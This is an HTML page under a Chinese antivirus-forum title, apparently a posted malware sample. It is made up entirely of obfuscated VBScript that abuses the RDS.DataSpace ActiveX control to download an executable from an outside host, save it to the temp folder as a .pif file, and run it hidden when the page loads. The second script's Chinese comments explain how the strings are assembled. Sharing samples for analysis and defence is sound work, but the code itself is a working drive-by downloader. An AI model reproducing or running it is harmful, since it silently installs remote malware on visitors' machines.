微点交流论坛

<html>
<body>
<script type="text/jscript">
function init() {
document.write("<center><font color=red></font><center>");}
window.onload = init;
</script>
<script language="VBScript">
on error resume next
aurl_0="http://www.ip321.cn/cj.e"
aurl_0=aurl_0+"xe"
mbb41m="A"
kbb22q="d"
sbb43e="odb.Stream"
nss31q=""
iss62u="M"
lss43n="icrosoft.XMLHTTP"
tcc81w="clsid:BD"
tcc12u="9"
fcc63s="6C556-65A3-11D0-983A-00C04FC29E36"
ooo61n="Scri"
soo02o="p"
soo43f="ting.FileSystemObject"
ejj81c="obj"
kjj82h="e"
tjj23d="ct"
ocl11t="class"
qcl22c="i"
ycl73n="d"
f5sbs3=nss31q&iss62u&lss43n
i4b4br=mbb41m&kbb22q&sbb43e
h0cqc2=tcc81w&tcc12u&fcc63s
e7o6or=ooo61n&soo02o&soo43f
r1jgj2=ejj81c&kjj82h&tjj23d
b4l4ln=ocl11t&qcl22c&ycl73n
Set p1d1fs = document.createElement(r1jgj2)
p1d1fs.setAttribute b4l4ln, h0cqc2
set i3f4n = p1d1fs.createobject(e7o6or,"")
set p2x2l = p1d1fs.CreateObject(f5sbs3,"")
set q4sl7 = p1d1fs.CreateObject(i4b4br,"")
set ste3mp = i3f4n.GetSpecialFolder(2)
q4sl7.type = 1
d2get="GET"
p2x2l.Open d2get, aurl_0, False
p2x2l.Send
t5L_hy50= "L_hy50.pif"
t5L_hy50= i3f4n.BuildPath(ste3mp,t5L_hy50)
q4sl7.open
q4sl7.write p2x2l.responseBody
q4sl7.savetofile t5L_hy50,2
q4sl7.close
</script>
<script language="VBScript">
on error resume next
mbb41m="A"
kbb22q="d"
sbb43e="odb.Stream"
nss31q=""
iss62u="M"
lss43n="icrosoft.XMLHTTP"
tcc81w="clsid:BD"
tcc12u="9"
fcc63s="6C556-65A3-11D0-983A-00C04FC29E36"
ooo61n="Scri"
soo02o="p"
soo43f="ting.FileSystemObject"
ejj81c="obj"
kjj82h="e"
tjj23d="ct"
ocl11t="class"
qcl22c="i"
ycl73n="d"
yse51w="Shell."
lse42x="A"
mse43s="pplication"
f5sbs3=nss31q&iss62u&lss43n  '組合成Microsoft.XMLHTTP
i4b4br=mbb41m&kbb22q&sbb43e  '組合成Adodb.Stream
h0cqc2=tcc81w&tcc12u&fcc63s  '組合成clsid:BD96C556-65A3-11D0-983A-00C04FC29E36
e7o6or=ooo61n&soo02o&soo43f  '組合成Scripting.FileSystemObject
r1jgj2=ejj81c&kjj82h&tjj23d  '組合成object
b4l4ln=ocl11t&qcl22c&ycl73n  '組合成classid
l0ehe0=yse51w&lse42x&mse43s  '組合成Shell.Application
Set p1d1fs = document.createElement(r1jgj2)  '相當於HTML標簽<object>
p1d1fs.setAttribute b4l4ln, h0cqc2 '給object加上屬性。。。。。。接下來就不用多說了。。。
set i3f4n = p1d1fs.createobject(e7o6or,"")
set x1qa8 = p1d1fs.CreateObject(l0ehe0,"")
set ste3mp = i3f4n.GetSpecialFolder(2)
t5L_hy50= "L_hy50.pif"
t5L_hy50= i3f4n.BuildPath(ste3mp,t5L_hy50)
x1qa8.ShellExecute t5L_hy50,"","","open",0
</script>
</body>
</html>
</script>